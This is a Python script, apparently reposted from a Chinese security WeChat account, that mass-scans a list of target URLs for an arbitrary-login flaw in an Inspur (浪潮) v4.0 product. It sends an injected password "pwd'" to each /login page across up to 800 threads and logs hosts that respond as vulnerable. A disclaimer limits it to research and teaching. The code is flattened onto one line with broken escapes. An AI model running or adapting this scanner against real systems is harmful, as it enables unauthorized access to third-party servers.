import sys,requests,urllib3,threadingurllib3.disable_warnings()lock = threading.Lock()def exp(url): exp_url = url + '/login' headers = { "User-Agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Mobile Safari/537.36" } poc ={ 'op':'login', 'username':'admin', 'password':"pwd'" } try: ret = requests.post(exp_url,headers=headers,data =poc, timeout=10,verify=False) if 'unexpected EOF' in ret.text: lock.acquire() try: with open('success.txt','a') as f: f.write(exp_url+'n') print(url) lock.release() except: lock.release() except Exception as e: print(e) passdef printf(): print('''use: python3 浪潮v4.0.py url.txt''')if __name__ == "__main__": thread = [] if len(sys.argv) != 2: printf() exit(0) with open(sys.argv[1]) as f: for url in f: url = url.replace('n','') if url.find('http') == -1: url = 'http://'+url t = threading.Thread(target=exp,args=(url,)) thread.append(t) t.start() if len(thread) > 800: for i in thread: i.join thread = []
本文始发于微信公众号(Khan安全攻防实验室):某潮任意用户登录漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论